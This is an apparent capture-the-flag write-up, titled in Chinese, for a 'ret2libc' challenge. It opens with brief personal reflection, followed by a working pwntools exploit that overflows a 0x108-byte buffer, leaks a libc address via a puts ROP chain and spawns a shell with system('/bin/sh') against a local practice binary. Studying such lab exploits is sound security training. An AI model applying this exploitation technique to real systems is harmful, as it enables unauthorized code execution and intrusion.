PWN：[WEEK2]ret2libc

现在来看，这些内容简单的不得了，但是自己却为此二不断的苦恼，甚至把学校的ctf群都退出来，来表达自己的愤懑。

庆幸自己不断向前走吧。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./ret2libc')

def look(sh):
	gdb.attach(sh)
	pause()


poprdi = next(elf.search(asm('pop rdi;ret')))
ret = next(elf.search(asm('ret')))
sh = process('./ret2libc')
payload = b'a'*0x108 + p64(poprdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['vuln'])
sh.sendlineafter(b'Input:\n',payload) 

sleep(1)

libc = ELF('./libc-2.31.so')
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
libc.address = libc_base

binsh = next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x108 + p64(poprdi) + p64(binsh) + p64(ret)+p64(libc.sym['system'])
look(sh)
sh.sendline(payload)

sh.interactive()